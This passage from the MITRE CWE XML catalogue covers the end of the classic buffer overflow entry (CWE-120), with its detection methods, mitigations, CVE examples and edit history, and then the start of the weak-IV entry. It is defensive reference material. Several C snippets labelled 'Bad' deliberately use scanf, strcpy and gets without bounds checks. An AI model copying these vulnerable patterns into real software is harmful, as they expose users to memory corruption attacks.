                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.</xhtml:p>
                  <xhtml:p>Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.</xhtml:p>
               </Description>
               <Effectiveness_Notes>This is not a complete solution, since many buffer overflows are not related to strings.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-10">
              <Phase>Operation</Phase> 
	      <Phase>Build and Compilation</Phase>
	      <Strategy>Environment Hardening</Strategy> 
	      <Description> 
		<xhtml:p>Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. </xhtml:p> 
		<xhtml:p> D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. </xhtml:p> 

	      </Description> 
	      <Effectiveness>Defense in Depth</Effectiveness> 
	      <Effectiveness_Notes> 
		<xhtml:p> This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. </xhtml:p> 
	      </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-9">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Consider adhering to the following rules when allocating and managing an application's memory:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Double check that your buffer is as large as you specify.</xhtml:li>
                        <xhtml:li>When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.</xhtml:li>
                        <xhtml:li>Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.</xhtml:li>
                        <xhtml:li>If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-11">
               <Phase>Operation</Phase> 
	       <Phase>Build and Compilation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description>
		 <xhtml:p>Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. </xhtml:p> 
		 <xhtml:p> Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. </xhtml:p> 
		 <xhtml:p> For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>These techniques do not provide a complete solution.  For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]</Effectiveness_Notes> 

            </Mitigation>
            <Mitigation Mitigation_ID="MIT-12">
               <Phase>Operation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description> 
		 <xhtml:p> Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.  </xhtml:p> 
	         <xhtml:p> For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application. </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Phase>Operation</Phase>
               <Description>Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-13">
               <Phase>Implementation</Phase>
               <Description>Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-21">
               <Phase>Architecture and Design</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char last_name[20];<xhtml:br/>printf ("Enter your last name: ");<xhtml:br/>scanf ("%s", last_name);</xhtml:div>
               </Example_Code>
               <Body_Text>The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-6">
               <Intro_Text>The following code attempts to create a local copy of a buffer to perform some manipulations to the data.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void manipulate_string(char * string){<xhtml:div style="margin-left:1em;">char buf[24];<xhtml:br/>strcpy(buf, string);<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-5">
               <Intro_Text>The code below calls the gets() function to read in data from the command line.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:div style="margin-left:1em;">char buf[24];<xhtml:br/>printf("Please enter your name and press &lt;Enter&gt;\n");<xhtml:br/>gets(buf);<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>...<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *clienthp;<xhtml:br/>char hostname[MAX_LEN];<xhtml:br/>
                           <xhtml:br/>// create server socket, bind to server address and listen on socket<xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>// accept client connections and process requests<xhtml:br/>int count = 0;<xhtml:br/>for (count = 0; count &lt; MAX_CONNECTIONS; count++) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>int clientlen = sizeof(struct sockaddr_in);<xhtml:br/>int clientsocket = accept(serversocket, (struct sockaddr *)&amp;clientaddr, &amp;clientlen);<xhtml:br/>
                                 <xhtml:br/>if (clientsocket &gt;= 0) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>clienthp = gethostbyaddr((char*) &amp;clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);<xhtml:br/>strcpy(hostname, clienthp-&gt;h_name);<xhtml:br/>logOutput("Accepted client connection from host ", hostname);<xhtml:br/>
                                       <xhtml:br/>// process client request<xhtml:br/>...<xhtml:br/>close(clientsocket);</xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>close(serversocket);</xhtml:div>
                     </xhtml:div>
                     <xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-1094</Reference>
               <Description>buffer overflow using command with long argument</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1094</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0046</Reference>
               <Description>buffer overflow in local program using long environment variable</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0046</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1337</Reference>
               <Description>buffer overflow in comment characters, when product increments a counter for a "&gt;" but does not decrement for "&lt;"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1337</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0595</Reference>
               <Description>By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0595</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0191</Reference>
               <Description>By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0191</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Memory Management</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unbounded Transfer ('classic overflow')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Buffer Overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Buffer overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A5</Entry_ID>
               <Entry_Name>Buffer Overflows</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR31-C</Entry_ID>
               <Entry_Name>Guarantee that storage for strings has sufficient space for character data and the null terminator</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>7</Entry_ID>
               <Entry_Name>Buffer Overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-120</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
                <Entry_ID>ASCRM-CWE-120</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="100"/>
            <Related_Attack_Pattern CAPEC_ID="14"/>
            <Related_Attack_Pattern CAPEC_ID="24"/>
            <Related_Attack_Pattern CAPEC_ID="42"/>
            <Related_Attack_Pattern CAPEC_ID="44"/>
            <Related_Attack_Pattern CAPEC_ID="45"/>
            <Related_Attack_Pattern CAPEC_ID="46"/>
            <Related_Attack_Pattern CAPEC_ID="47"/>
            <Related_Attack_Pattern CAPEC_ID="67"/>
            <Related_Attack_Pattern CAPEC_ID="8"/>
            <Related_Attack_Pattern CAPEC_ID="9"/>
            <Related_Attack_Pattern CAPEC_ID="92"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Public Enemy #1: The Buffer Overrun&#34; Page 127"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
            <Reference External_Reference_ID="REF-56"/>
            <Reference External_Reference_ID="REF-57"/>
            <Reference External_Reference_ID="REF-58"/>
            <Reference External_Reference_ID="REF-59"/>
            <Reference External_Reference_ID="REF-60"/>
            <Reference External_Reference_ID="REF-74"/>
            <Reference External_Reference_ID="REF-61"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;Nonexecutable Stack&#34;, Page 76"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 5, &#34;Protection Mechanisms&#34;, Page 189"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;C String Handling&#34;, Page 388"/>
            <Reference External_Reference_ID="REF-64"/>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-120"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-120"/>
	    <Reference External_Reference_ID="REF-1332"/>
	    <Reference External_Reference_ID="REF-1333"/>
	    <Reference External_Reference_ID="REF-1334"/>
	    <Reference External_Reference_ID="REF-1335"/>
	    <Reference External_Reference_ID="REF-1336"/>
	    <Reference External_Reference_ID="REF-1337" Section="Memory information leaks"/>
         </References>
         <Notes>
            <Note Type="Relationship">At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.</Note>
            <Note Type="Terminology">Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-10</Modification_Date>
               <Modification_Comment>Changed name and description to more clearly emphasize the "classic" nature of the overflow.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Description, Name, Other_Notes, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-10-14">Unbounded Transfer ('Classic Buffer Overflow')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1204" Name="Generation of Weak Initialization Vector (IV)" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product uses a cryptographic primitive that uses an Initialization
			Vector (IV), but the product does not generate IVs that are
			sufficiently unpredictable or unique according to the expected
			cryptographic requirements for that primitive.
			</Description>
			<Extended_Description>
			  By design, some cryptographic primitives
			  (such as block ciphers) require that IVs
			  must have certain properties for the
			  uniqueness and/or unpredictability of an
			  IV. Primitives may vary in how important
			  these properties are. If these properties
			  are not maintained, e.g. by a bug in the
			  code, then the cryptography may be weakened
			  or broken by attacking the IVs themselves.
			</Extended_Description>
			<Related_Weaknesses>
